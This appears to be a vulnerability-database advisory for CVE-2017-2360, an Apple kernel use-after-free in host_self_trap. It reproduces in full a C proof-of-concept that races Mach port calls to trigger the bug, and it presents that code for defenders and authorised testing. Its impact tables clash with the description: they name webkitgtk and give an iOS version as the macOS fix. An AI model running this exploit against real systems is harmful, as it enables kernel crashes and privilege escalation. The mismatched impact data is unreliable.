CVE-2017-2360
Description
An issue was discovered in certain Apple products. iOS before 10.2.1 is affected. macOS before 10.12.3 is affected. tvOS before 10.1.1 is affected. watchOS before 3.1.3 is affected. The issue involves the "Kernel" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (use-after-free) via a crafted app.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Apple macOS 10.12.1 / iOS Kernel - 'host_self_trap' Use-After-Free
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1034
The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.
The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:
Thread A: host_self_trap:
read current_task()->itk_host // Thread A reads itk_host
Thread B: task_set_special_port:
*whichp = port; // Thread B replaces itk_host with eg MACH_PORT_NULL
itk_unlock(task);
if (IP_VALID(old))
ipc_port_release_send(old); // Thread B drops last ref on itk_host
Thread A: host_self_trap:
passes the port to ipc_port_copy_send // uses the free'd port
host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.
PoC tested on MacOS 10.12.1
*/
// ianbeer
#if 0
iOS/MacOS kernel UaF due to lack of locking in host_self_trap
The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.
The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:
Thread A: host_self_trap:
read current_task()->itk_host // Thread A reads itk_host
Thread B: task_set_special_port:
*whichp = port; // Thread B replaces itk_host with eg MACH_PORT_NULL
itk_unlock(task);
if (IP_VALID(old))
ipc_port_release_send(old); // Thread B drops last ref on itk_host
Thread A: host_self_trap:
passes the port to ipc_port_copy_send // uses the free'd port
host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.
PoC tested on MacOS 10.12.1
#endif
// example boot-args
// debug=0x144 -v pmuflags=1 kdp_match_name=en3 -zp -zc gzalloc_min=120 gzalloc_max=200
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/host_priv.h>
mach_port_t q() {
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
return p;
}
int start = 0;
mach_port_t rq = MACH_PORT_NULL;
void* racer(void* arg) {
for(;;) {
while(!start){;}
usleep(10);
mach_port_t p = mach_host_self();
mach_port_deallocate(mach_task_self(), p);
start = 0;
}
}
int main() {
pthread_t thread;
pthread_create(&thread, NULL, racer, NULL);
for (;;){
mach_port_t p = q();
kern_return_t err = task_set_special_port(mach_task_self(), TASK_HOST_PORT, p);
mach_port_deallocate(mach_task_self(), p);
mach_port_destroy(mach_task_self(), p);
// kernel holds the only ref
start = 1;
task_set_special_port(mach_host_self(), TASK_HOST_PORT, MACH_PORT_NULL);
}
return 0;
}
OS impact
macOS Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Affected | 10.2.1 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| webkitgtk | webkitgtk\+ | {"endExcluding":"2.16.3"} | 2.16.3 |
References
- http://www.securityfocus.com/bid/95729
- http://www.securityfocus.com/bid/95731
- http://www.securitytracker.com/id/1037668
- https://support.apple.com/HT207482
- https://support.apple.com/HT207483
- https://support.apple.com/HT207485
- https://support.apple.com/HT207487
- https://www.exploit-db.com/exploits/41165/
- http://www.securityfocus.com/bid/95729
- http://www.securityfocus.com/bid/95731
- http://www.securitytracker.com/id/1037668
- https://support.apple.com/HT207482
- https://support.apple.com/HT207483
- https://support.apple.com/HT207485
- https://support.apple.com/HT207487
- https://www.exploit-db.com/exploits/41165/
CWEs
CWE-416
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.